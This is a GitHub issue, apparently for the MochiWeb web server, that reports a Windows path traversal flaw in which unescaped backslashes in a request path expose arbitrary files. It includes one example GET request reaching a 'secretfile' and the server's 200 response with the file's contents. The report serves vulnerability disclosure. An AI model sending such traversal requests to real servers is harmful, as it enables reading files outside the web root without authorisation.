Skip to content

Using backslash on Path, arbitrary files can be accessed on Windows #92

Closed
@melkote

Description

@melkote

On Windows, it is possible to access arbitrary files by crafting a GET with unescaped backslash characters. For example:

GET /..............\ff\asubdir\secretfile

HTTP/1.1 200 OK
Server: MochiWeb/1.0 (Any of you quaids got a smint?)
Content-Type: text/plain
Content-Length: 14

Hello
World

Origin: http://www.couchbase.com/issues/browse/MB-7390

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions